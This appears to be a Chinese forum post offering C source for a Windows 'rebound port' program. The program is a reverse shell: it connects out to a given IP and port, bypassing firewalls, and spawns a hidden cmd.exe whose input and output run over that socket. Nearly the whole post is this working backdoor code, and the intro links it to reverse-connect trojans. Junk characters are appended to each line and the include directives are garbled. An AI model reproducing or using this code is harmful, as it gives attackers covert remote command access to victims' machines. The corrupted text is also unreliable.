Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 cR_85  
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/* ============================== F~4oPB K<  
Rebound port in Windows NT cjp H hoW  
By wind,2006/7 n-0RA~5z  
===============================*/ XJ.b
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#include a
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#include m&cVda/  
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#pragma comment(lib,"wsock32.lib") n}}$-xl  
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void OutputShell(); ZXlW_CGO  
SOCKET sClient; :OQx;>'  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; DavpjwSn  
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void main(int argc,char **argv) *\L\Bzm  
{ ncjtv"2R  
WSADATA stWsaData; ?%d]iTZE
 
int nRet; J{`G=  
SOCKADDR_IN stSaiClient,stSaiServer; ?@!dc6   
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if(argc != 3) ~QQi{92  
{ /p}^Tpu  
printf("Useage:\n\rRebound DestIP DestPort\n"); Q!9AxM2K  
return; 2= S;<J
 
} Db3#;  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 3+ JkV\AF  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^`?2g[AA  
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stSaiClient.sin_family = AF_INET; )!+~q!A  
stSaiClient.sin_port = htons(0); P;GRk6  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ER-X1fD  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 8&t3a+8l  
{ xy;u"JY*  
printf("Bind Socket Failed!\n"); 'So,*>]63  
return; mO=bq4!  
} .W>LEz
'  
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stSaiServer.sin_family = AF_INET; K8,Q^!5]"  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); W:VRLT>w>  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2<q.LQ}<  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ^/b3_aM5d  
{ '~{bq'7`m  
printf("Connect Error!"); M^S
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return; :rR)rj'  
} v!~tX*q  
OutputShell(); AYb-
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} ~?E.U,R  
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void OutputShell() Pr|BhX  
{ $z[FL=h)?+  
char szBuff[1024]; kMd1)6%6A  
SECURITY_ATTRIBUTES stSecurityAttributes; Ww\M3Q`h  
OSVERSIONINFO stOsversionInfo; g4z*6L,u  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; `-yo-59E[  
STARTUPINFO stStartupInfo; Fp=O:]  
char *szShell; !79eF)  
PROCESS_INFORMATION stProcessInformation; -9)H[}.  
unsigned long lBytesRead; ;D'6sd"  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); l|{q8i#4V  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); csK;GSp}  
stSecurityAttributes.lpSecurityDescriptor = 0; ,y5,+:Y ~  
stSecurityAttributes.bInheritHandle = TRUE; VO u/9]a  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); |k,M$@5s  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); eICav
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); {mOQRAKl  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w{+G/Ea  
stStartupInfo.wShowWindow = SW_HIDE; }aSTo"~m#  
stStartupInfo.hStdInput = hReadPipe; [8%R*}  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; R^*%yjy9  
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GetVersionEx(&stOsversionInfo); %7}ibz4iF  
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switch(stOsversionInfo.dwPlatformId) E!"N}v  
{ C"7-lz  
case 1: <ddXvUCX  
szShell = "command.com"; fmgXh)=  
break; CqFk(Td9-D  
default: ^]n:/kZ5"[  
szShell = "cmd.exe"; H"5=z7w  
break; \Dlmrke  
} ,uoK'_  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); yor6h@F1  
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send(sClient,szMsg,77,0); 0#y i5U  
while(1) &) qs0  
{ 6Cj$x.-K  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); nF1}?  
if(lBytesRead) W#Eg\nT  
{ K6Z/  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 0&Z+P?Wb4  
send(sClient,szBuff,lBytesRead,0); a'!p^/6?  
} T"_f9?  
else 3q-Xj:FP  
{ BG/Q7s-?K  
lBytesRead=recv(sClient,szBuff,1024,0); SPu+t3  
if(lBytesRead<=0) break; eHE?#r16Z  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); XP%/*a
m  
} IoKN.#;^  
} _jWGwO  
g>*P}r~;^b  
return; :q34KP  
}